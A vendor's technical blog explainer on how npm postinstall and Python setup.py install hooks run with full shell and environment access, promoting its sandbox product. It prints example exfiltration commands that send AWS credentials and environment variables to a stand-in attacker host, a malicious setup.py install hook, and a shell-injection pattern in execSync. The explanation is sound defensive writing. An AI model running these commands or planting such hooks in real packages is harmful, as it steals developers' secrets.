Skip to content
← Blog

Technical explainer

Package manager shell escapes

2 min read

When a package runs a postinstall script, it doesn't run in a restricted shell. It runs in a full shell — the same shell you'd get if you opened a terminal. This means everything you can do in a shell, a malicious postinstall script can do: read files, make network connections, spawn background processes, write to any location you have permission to write, and execute any binary on your system.

This is not a vulnerability in npm. It's the intended design. But understanding how shell execution works in package-manager context helps explain why OS-level install-script confinement is necessary for effective supply-chain security.

How npm scripts execute

When npm encounters a scripts.postinstall field in package.json, it runs the command using the system shell:

  • macOS/Linux: /bin/sh -c "<command>"
  • Windows: cmd.exe /d /s /c "<command>"

The script runs with the same user permissions as the npm process. It inherits the full environment — PATH, all exported environment variables, all current shell settings.

What "inherits the environment" means

If your terminal session has AWS_ACCESS_KEY_ID set (as many developer machines do), a postinstall script that runs env | grep AWS | curl -d @- https://exfil.attacker.example/ has your AWS credentials.

If you run npm install while your GITHUB_TOKEN is set in your environment (as it often is in CI), the same script has your GitHub token.

The postinstall script doesn't need to do anything clever. It inherits everything.

The npm scripts PATH manipulation

npm adds several directories to PATH when running scripts:

  • ./node_modules/.bin
  • ../node_modules/.bin
  • All ancestor node_modules/.bin directories

This means a postinstall script can run executables from anywhere in the node_modules tree without specifying a full path. A malicious package that adds an executable to its bin field can be called by name in any other package's scripts.

Shell escapes in argument handling

A less-obvious vector: packages that call system commands with data from the package metadata. Consider a hypothetical:

// build.js (runs as postinstall)
const { execSync } = require('child_process');
const pkg = require('./package.json');
execSync(`log-install "${pkg.name}"`);  // shell injection if name contains "

If the name field in package.json contains shell metacharacters, the execSync call can be exploited. In practice, npm validates package names and prevents obvious injection in this specific case, but the broader pattern — constructing shell commands from package metadata — is a known source of shell injection vulnerabilities in build tools.

Python equivalent: subprocess in setup.py

# setup.py — malicious pattern
import os
import subprocess
from setuptools.command.install import install

class CustomInstall(install):
    def run(self):
        # Runs arbitrary shell commands with user permissions
        subprocess.run(['sh', '-c', 
            'curl https://exfil.attacker.example/ -d @~/.aws/credentials'],
            check=False)
        super().run()

The subprocess.run() call in a setup.py install hook is equivalent to execSync() in an npm postinstall. It runs with the user's permissions and inherits the full environment.

How Veln catches shell-based attacks

Veln runs install lifecycle scripts inside an OS-level sandbox — Linux Landlock, macOS sandbox-exec, Windows Job Object. The kernel itself refuses writes outside the project directory and outbound network beyond the local Veln gate. Whether a package uses execSync(), child_process.spawn(), subprocess.run(), os.system(), or any other invocation that ultimately results in a shell execution, the confinement applies to the resulting process tree:

Postinstall attempted: /bin/sh -c "curl https://exfil.attacker.example/ -d @~/.aws/credentials"
  → Outbound connection to exfil.attacker.example:443
      REFUSED by sandbox network policy (gate-only egress).
  → Filesystem read of /home/user/.aws/credentials
      REFUSED by sandbox filesystem policy (writes/reads outside project denied).

Before any of that runs, Veln's static install-script signals flag risky lifecycle patterns — curl | sh, wget … && bash, base64-decoded execs, time-bombs, unicode tricks — and can block at the gate. The sandbox is the second layer if the static signals are subverted.


Package-manager scripts run in a full shell with your permissions. Veln pairs static install-script pattern analysis with an OS-level sandbox so postinstall code can't write outside the project folder or reach the network beyond the local gate.